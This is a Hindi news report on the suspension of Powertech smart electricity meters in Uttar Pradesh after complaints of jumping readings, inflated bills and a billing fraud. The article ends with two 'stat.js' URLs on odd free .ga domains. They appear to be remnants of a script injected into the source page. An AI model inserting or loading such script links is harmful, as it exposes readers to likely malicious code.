यूपी में पावरटेक कंपनियों के बिजली मीटर पर लगी रोक। पावरटेक कंपनियों के बिजली मीटर पर रोक लगा दी गई है। अब तक पावरटेक कंपनियां गांव में गरीब लोगों के बिजली के बिल गलत निकाल रही थी। उन गरीबों का फायदा उठा रही थी इसी कारण उन्हें अधिक बिल का भुगतान करना पड़ रहा था। परंतु दैनिक जागरण ने रविवार के अंक पत्र में इसको लेकर बड़ा खुलासा किया और बिजली मामले को प्रकाशित किया यह देखकर लोगों में खलबली मच गई।

 

 

 

और इस मामले की जांच भी शुरू करा दी गई है। घर घर में बिजली की सुविधा देने के लिए सरकार ने सौभाग्य योजना चलाई इस योजना के अंतर्गत सभी गरीबों के घर में मुफ्त में बिजली मीटर लगाए जा रहे है। लेकिन इन मीटरों के लगने के कुछ समय बाद इनमें तकनीकी खामियों की शिकायत आने लगी। इन शिकायतों को वहां के विभागीय अधिकारी ने नजरअंदाज कर दिया और जब या शिकायतें बढ़ने लगी और अप्रत्याशित रूप से रीडिंग और बाहर जंप करने में तमाम मामले सामने आने लगे।

 

 

 

दैनिक जागरण ने जब अपने अंक पत्र में इस मामले को पूरी तरह से उजागर किया तो बिजली विभाग के बड़े अफसरों को झटका लगा। जिस भी बिजली उपभोक्ता को लग रहा है कि स्मार्ट मीटर मैं बहुत अधिक रीडिंग और बिल आ रहा है तो वह तुरंत शिकायत कर सकता है। सबसे ज्यादा शिकायतें दक्षिणांचल विद्युत निगम संबंधित क्षेत्रों से आई है, इसीलिए रविवार को दक्षिणांचल प्रबंध निदेशक ने पावरटेक के मीटर ऊपर रोक लगा दी है। इसके साथ शिकायतों के कारण तत्काल मीटर उतारने और गलत बिल को ठीक करने के आदेश दिए गए हैं। परिषद के अध्यक्ष अवधेश कुमार वर्मा का कहना है कि किसी भी योजना या परियोजना को जारी करने से पहले यूजर एक्सेप्टेंस टेस्ट कई चरणों में कराने की व्यवस्था है।

 

 

 

इसे एक छोर से दूसरे छोर तकसभी घटकों तक परीक्षण किया जाता है उसके बाद तय किया जाता है कि यह योजना लागू करने लायक है या नहीं। वर्मा जी का आरोप है कि अगर पहले यू ए टी किया होता तो आज जंपिंग का मामला ना निकलता और ना ही रीडिंग जंपिंग का मामला सामने आता। जन्माष्टमी के दिन भी लाइट जाने के मामले सामने आए थे। स्मार्ट मीटरों में भी गड़बड़ी निकलने के कारण अब 3 माह में यूएटी. करने के लिए प्रबंध निदेशक मध्य चल की एक कमेटी बनाई गई।

 

 

राज्य उपभोक्ता परिषद नेऊर्जा मंत्री से मांग की है कि पिछले 5 वर्षों में जो भी मीटर खरीदे गए और लगवाए गए हैं उनकी तत्काल सीबीआई जांच कराई जाए। इससे बड़े रैकेट का पर्दाफाश हो सकता है। पावर टेक की तरह सौभाग्य योजना में लगे अन्य कंपनियों के मीटर उतरवाकर उनकी जांच होनी चाहिए। बताया जा रहा है कि पिछले 3 वर्षों में लगभग 2000 करोड रुपए इलेक्ट्रॉनिक मीटर व 500 करोड़ रुपए की 12 लाख स्मार्ट मीटर और एमडीएम की जांच होनी चाहिए। तभी पूरा मामला सामने आएगा।

 

 

 

उपभोक्ताओं से बिल वसूला गया लेकिन उन्हें फर्जी रसीद दी गई। 500 से अधिक उपभोक्ताओं के बिल और भुगतान में गड़बड़ी है। यह पूरी तरह से बिल घोटाला है इसमें करीब 20 लाख रुपए की रकम इधर से उधर कर दी गई है और यह सारा काम अधिशासी अभियंता की लॉगिन आईडी से हुआ है। दोषियों पर कड़ी कार्यवाही की जाएगी। मार्च में लोक डाउन होने के कारण मई तक दिल बनाने का कार्य नहीं हो सका। लेकिन अप्रैल और मई की औसत रीडिंग के आधार पर उपभोक्ताओं को जून का बिल दिया गया। जून में बहुत अधिक बिल आया किसी ने ₹10 हजार का बिल का भुगतान किया और वही किसी ने ₹20 हजार का भी भुगतान किया।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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